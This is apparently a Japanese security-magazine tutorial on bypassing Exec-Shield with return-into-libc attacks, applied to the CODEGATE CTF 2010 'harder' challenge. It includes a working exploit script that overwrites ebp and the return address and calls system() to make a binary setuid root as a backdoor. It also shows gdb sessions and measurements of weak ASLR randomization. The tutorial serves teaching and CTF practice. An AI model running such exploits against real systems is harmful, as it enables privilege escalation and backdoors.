第 4 回 Exec-ShieldとReturn-into-libc 攻撃 文●愛甲健二 Return-into-libcの概要 Exec-Shield の登場により、これまで研究さ れてきた多くの shellcode は動かなくなりまし た。メモリのアクセス権を管理するというこの 仕組みは、セキュリティ的な観点から本当に有 用なもので、以後多くの環境で実装され、そし て当たり前のように使われ始めました。 Windows に お い て も XP SP2 以 降、DEP ( Data Execute Prevention:データ実行防止) という名称で実装されています。 この Exec-Shield の攻略法として特に有効な のが Return-into-libc 攻撃です。任意のコード ( shellcode )を実行できなくとも、 最終的に 任意 のプログラムを実行できれば権限を奪え るという観点から、うまく引数を設定し、スタッ ク( esp )を調整してプロセスにロードされて いるライブラリが 持 つ 関数 へジャンプさせれ ば /bin/sh といったプログラムを実行可能であ る、というのが Return-into-libc の基本的な考 え方です。 端末で ldd コマンドを使うとプログラムが実 行時にロードするライブラリを確認できます。 $ ldd /bin/sh linux-gate.so.1 => (0xb7fff000) libc.so.6 => /lib/tls/i686/cmov/ libc.so.6 (0xb7e9e000) /lib/ld-linux.so.2 (0x00110000) libc.so は、ほとんどのプログラムで実行時に ロードされるか、あるいはコンパイル時に静的リ ンクされているため、libc の 中にある system 関 数 や exec 系 関 数 をうまいこと呼 び 出 せ れ ば、shellcode を一切使わずに権限を奪えます。 libc を利用して任意のコードを実行する、これ が Linux における Return-into-libc 攻撃です。 関数アドレスの調査 system 関数でも exec 系関数でもどちらでも 1 よいのですが、今回は system 関数をターゲッ トにしましょう。まずは system 関数が実行され る直前のスタックを確認するために、以下のプ ログラムを用意します。 ・test.c #include <stdlib.h> int main(void) { system("/bin/sh"); return 0; } test.c をコンパイルし、gdb を使って system 関数のアドレスと実行直前のスタックを確認し ます。 なお、ASLR を有効にしているとライブ ラリがロードされるアドレス(関数アドレス)が ランダマイズされますので、今回は無効にして ください。 $ $ gcc -Wall test.c -o test gdb test GNU gdb (GDB) 7.1-ubuntu (gdb) b main Breakpoint 1 at 0x80483e7 (gdb) r Breakpoint 1, 0x080483e7 in main() (gdb) p system $1={<text variable, no debug info>} 0x167100 <system> (gdb) b system Breakpoint 2 at 0x167100 (gdb) c Continuing. Breakpoint 2, 0x00167100 in system() from /lib/tls/i686/cmov/libc.so.6 (gdb) x/32x $esp 0xbffff7ac: 0x080483f9 0x080484c0 0x0011e030 0x0804841b (1) (2) (gdb) x/1s 0x080484c0 0x80484c0: "/bin/sh" 環境によって変わるのですが、 私 の 環境で は system 関数 はアドレス 0x167100 に存在し ました( 1 ) 。またこのアドレスに到達した時点 でのスタックは、戻り先アドレス 0x080483f9、 system 関 数 へ の 引 数 0x080484c0 の 順 番 に なっています( 2 ) 。 つ まり、esp が 指 す 先 が 戻 り 先 アドレ ス、 system 関数への引数、という順番になった状 態で system 関数 のアドレス 0x167100 へ 処理 をジャンプできれば、引数へ渡したプログラム が実行できます。では、どうやってスタック (esp ) を調整しましょうか ? それには ebp と leave 命 令の性質を利用します。 スタックの調整 スタックバッファオーバーフローが起こり戻 り先 アドレスを書き換 えられるということは、 その前(アドレス低位)に存在する ebp の値も 上書きできることを意味します。 そもそもこのスタック内の ebp は、関数の実 行 が 終わり呼び出し元に戻った時に ebp レジ スタに格納される値で、 呼び出し元に戻るま でスタックに保存されているものです(図 1 ) 。 このスタック内の ebp を利用して esp を調整し、 任意の引数を設定した状態で任意の関数へジャ ンプできます。 図 2 を見 てください。 仮に現在 の 関数内 で スタックオーバーフローが起こり 0xbffff650 ∼ 0xbffff65c までが上書き可能だとします。まず STACK STACK esp= 0xbffff650 0xaaaaaaaa 0xbffff654 0xbbbbbbbb ebp= 0xbffff658 0xbffff65c 0xbffff660 スタック内の ebp は呼 び出し元関数が使用し ている ebp ebp 戻り先 leave、ret によって、 esp と ebp は呼び出 し以前の値に戻る 引数 mov esp. ebp pop ebp =( leave ) STACK STACK 0xbffff650 0xaaaaaaaa 0xbffff654 0xbbbbbbbb 0xbffff658 esp= 0xbffff65c 0xbffff660 ebp 戻り先 引数 ebp= 0xbffff6xx 0xXXXXXXXX は 0xbffff65c の 戻り先を leave、ret が 存在 す る場所に書き換えます。 これで leave、ret が 実行された後、もう一度 leave、ret にジャンプ します。 もし 0xbffff658 の 値を 0xbffff650 に 上書きしていれば、1 度目の leave で ebp レジ スタは 0xbffff650 になり、そのまま ret で 2 度 目の leave へ進みます。leave 命令は mov esp, ebp、pop ebp を意味するので、まずは esp が ebp と同じ 0xbffff650 になり、続いて pop ebp により ebp が 0xaaaaaaaa、esp が 4 加算され て 0xbffff654 となります。そして続く ret 命令 により eip は 0xbbbbbbbb、esp はさらに 4 加 算されて 0xbffff658 ですね。 ここで興味深いのは、いちばん最初にスタッ ク内の ebp の値を 0xbffff650 で上書きした場 合、leave、ret を 2 度実行することで ebp はア ドレス 0xbffff650 にある値 0xaaaaaaaa、eip は アドレス 0xbffff650+4 にある値 0xbbbbbbbb、 そして esp は 0xbffff650+8 になっていることで す。図 2 では元々の esp と ebp の差が 8 バイト しかありませんが、これが 16 バイト、32 バイト、 256 バイトあったらどうでしょう ? そこには自 由に関数へ 渡すべき引数やその関数へのアド レスを格納できます。 system 関数のアドレスは 0x167100 でした。 そして system 関数を呼び出す際、0x167100 へ 処理が来た時 の esp が指す先は戻り先アド レス、関数への 引数、の 順番でした。つまり、 最終的 な eip の 値を 0x167100 にして、 かつ、 そのときの esp が指す先に戻り先アドレス、関 数への引数、の順番で値が存在すれば system 関数は正常に実行されます。 また、この ebp を用いた esp の調整は、仮に 戻り先アドレスが上書きできなかった場合にも 0xbffff654 0xbbbbbbbb 0xbffff658 ebp 0xbffff65c 戻り先 esp= 0xbffff660 ebp= 0xbffff658 0xbffff650 0xbffff65c 戻り先 0xbffff660 引数 スタック内の ebp を 0xffff650 にしたら ? もう一度 leave、ret が実行されたら ? leave ret STACK 0xbffff650 0xaaaaaaaa ret esp= 0xbffff650 0xaaaaaaaa 0xbffff654 0xbbbbbbbb 引数 ebp= 0xbffff6xx 0xXXXXXXXX 図 1 通常のleave、ret 処理に対するesp、ebpとスタックの状態 STACK esp= 0xbffff650 0xaaaaaaaa 0xbffff654 0xbbbbbbbb 0xbffff658 0xbffff65c 0xbffff660 ebp 戻り先 引数 ebp= 0xbffff6xx 0xXXXXXXXX leave ret 0xbffff650 0xaaaaaaaa 0xbffff654 0xbbbbbbbb ebp esp= 0xbffff658 0xbffff65c 戻り先 0xbffff660 esp= 0xaaaaaaaa ebp= 0xbbbbbbbb 引数 図 2 ebpを不正に操作した際のesp、ebpとスタックの状態 2 有効です。leave、ret が 2 度実行されればどん な形でもよいため、例えば関数 X から関数 Y が 呼び出されており、その関数 Y の中でオーバー フローが起こっているとします。その場合、ま ずは 関数 Y から関数 X へ 戻る時 の leave、ret で ebp レジスタを書き換え、 関数 X からさら に呼び出し元(例えば main など)に戻る時の leave、ret で任意のアドレスへジャンプできま す。ebp の書き換えは、2 度の leave、ret によっ て任意のアドレスへジャンプできると覚えてお いてください。もちろん戻り先アドレスが上書 きできれば、そのままジャンプさせれば OK です。 高レベル問題に挑戦 では、CODEGATE CTF 2010 予選の Exploit 系 で 800 点 と い う 高 配 点 が な さ れ た 問 題 harder に挑戦しましょう。 競技時 は ASLR と Exec-Shield が有効の状態での出題でしたが、 今回は Return-into-libc の練習ですので、最初 は ASLR を無効にして解きましょう。 本記事を 読み終えた後で、改めて ASLR を有効にして挑 戦してみてください。 $ $ python -c 'print "¥x90"*272' > EXP ./harder < EXP Input: Segmentation fault (core dumped) $ gdb -c core GNU gdb (GDB) 7.1-ubuntu Program terminated with signal 11, Segmentation fault. #0 0x0804850a in ?? () (gdb) x/4x $esp-272 0xbffff6ac: 0xbffff6fc 0x90909090 0x90909090 0x90909090 (gdb) x/2x $esp 0xbffff7bc: 0x90909090 0x0804000a harder に標準入力 から 272 バイトのデータ を渡 すと Segmentation fault が 発生します。 とりあえず ASLR は無効になっていますので、 スタックアドレスを決め打ちで入力します。 ユ ー ザ ー か ら の 入 力 は 0x b f f f f6b0 ∼ 0xbffff7bc に格納され、最後の 0xbffff7bc が戻 り先アドレスなので、まずはこれを leave、ret のアドレス 0x08048509 に上書きします。続い て入力 の先頭が 0xbffff6b0 なので、これから -4した値をスタック内の ebp に入れます。これ で、2 度目 の leave、ret が 実行された際、eip 3 はアドレス 0xbffff6b0 にある値になるため、そ こに system 関数アドレスを書いておきます。 ・exploit1.py #!/usr/bin/python import sys from struct import * #0xbffff6b0 v = "¥x00¥x71¥x16¥x00"#system v += "¥x00¥xd2¥x15¥x00"#exit v += "¥xbc¥xf6¥xff¥xbf" v += "chown root test;" v += "chmod 4755 test¥x00" v += "¥x90" * ((272-8)-len(v)) v += "¥xac¥xf6¥xff¥xbf"#ebp v += "¥x09¥x85¥x04¥x08"#ret sys.stdout.write(v) system 関数へ飛んだ時の esp は、スタック 内の ebp の値 +8 であるため 0xbffff6b4 になり ます。system 関数実行直前 のスタックは戻り 先、関数の引数、の順番なので、戻り先を exit 関数、引数を「 chown root test;chmod 4755 test 」という文字列 のアドレスにします。本当 は引数を「 /bin/sh 」にしたいのですが、最近の シェルはセキュリティ対策が施されており、異 常な経緯での実行に対しては動作しないため、 Exploit を少し手 の 込 んだ形に変更しました。 test は本記事の最初で紹介したプログラムです。 権限を奪取した後にこのプログラムを setuid してもらい、バックドア的なプログラムに変更 します。 また、特に必要ないのですが、一応 system 関数 の 実行が終了した後に正常にプログラム が終了するように exit 関数へ飛ばします。 $ sudo su [sudo] password for kenji: # echo 0 > /proc/sys/kernel/ randomize_va_space # chown root harder # chgrp root harder # chmod 4755 harder # exit $ ls -l test -rwxr-xr-x 1 kenji kenji 7140 test $ python exploit1.py > EXP $ ./harder < EXP Input: $ $ ls -l test -rwsr-xr-x 1 root kenji test $ ./test # whoami root # exit 7140 以上で harder 攻略完了です。exploit1.py で 使っているアドレスは私の環境のものなので、 関数アドレスとスタックアドレスは自分の環境 に合わせて各自変更してください。 またこの問題は、戻り先アドレス以降も上書 きが可能ですから、戻り先を system 関数にし て、それ以降( 0xbffff7c0 以降)に exit 関数ア ドレスや system 関数に渡 す 引数をセットして も構いません。呼び出し元へ 戻った時点での esp は 0xbffff7c0 にあるためです。ただ、今回 は「 ebp 上書きによる任意のアドレスへのジャ ンプ」を解説したかったので、 上記 のような Exploit としました。 ASLRとExec-Shield Exec-Shield は shellcode に対してはかなり 有用な機能ですが、Return-into-libc によるラ イブラリ関数へのジャンプによって回避できま した。では、Return-into-libc の弱点とは何で しょうか ? それは system や exec 系 の 関数ア ドレスをあらかじめ知っておかなければならな い点です。 となると、libc が毎回異なる(ランダマイズ された)アドレスへロードされれば、Returninto-libc の成功率は格段に落ちます。そして、 この点は前回説明した ASLR により対処できま す。つまり、ASLR と Exec-Shield が手を組めば それぞれが弱点を補い合い、より有用なセキュ リティ機能となる、と普通なら思 います、 が、 残念ながら現実はそうではありません。 誌面 の 都合 でここには載 せられませ んでし たが、DVD-ROM に c_aslr.c と check_aslr.py と いう 2 つのプログラムを収録しています。これ らは、プロセスを 1000 回順番に起動し、各実行 ごとに関数アドレスを取得、最も出現頻度の高 いアドレスを出現回数と一緒に表示するプログ ラムです。 これらを使い、ASLR によるライブラリロード 先のランダマイズ性能を確かめます。1000 回 実行するわけですから、最大出現数が 10 なら ばアドレスを決め打ちした際の Exploit の成功 率は約 1/100、2 ならば約 1/500 と、 表示され た値が低いほど成功率も下がると言えます。 ではさっそく試してみましょう。 対象とする 関数は何でも良いのですが、以下の実行結果 は system 関数で試しています。 私の環境( Ubuntu 10.10 )では、上記の結果 # echo 2 > /proc/sys/kernel/ randomize_va_space # exit $ gcc c_aslr.c -o c_aslr -ldl $ python check_aslr.py 0x149100:186 になりました。1000 回実行した結果、system 関数が 0x149100 のアドレスに存在した回数が 186 回、つまり約 18 ∼ 19% の 確率でこのアド レスにロードされたわけです。ASLR の 安全性 は、そのランダマイズ性能によって担保されて いるため、この確率だと 10 回に約 2 回の成功率、 5 回 Exploit を実行すれば 1 回は成功する計算 になります。これでは Return-into-libc 攻撃に 対応できません。 ASLR と Exec-Shield は、理論上は両方実装 することでよりセキュアな環境を構築できると 考えられていますが、現実問題としてまだライ ブラリロード先の十分なランダマイズには至っ ていません。 ただ、前回 の 記事を読 んでいただければわ かりますが、スタックに関してはすでに問題な いレベルでランダマイズされており、ASLR そ れ自体 が 無意味だと言っているわけでは決し てありません。今回は、あくまでもライブラリ のランダマイズ性能に関しての話です。 本当のharderの攻略 ASLR のランダマイズ 性能 がわかったので、 今度は ASLR と Exec-Shield が両方有効の状態 での harder を攻略してみましょう。これまで学 んだ知識を使い、改めて本当の harder 問題を 解いてみてください。 さて、これで第 4 回も終わりとなりますがい かがだったでしょうか。これまで ASLR、ExecShield、そして Return-into-libc と学んできま したが、次回はいよいよ第 5 回、ROP:Return oriented programming の解説へ進みたいと 思います。連載も終盤になってきましたが、最 後まで楽しんでいただけたら幸いです。では、 またお会いしましょう。 4
© Copyright 2024 Paperzz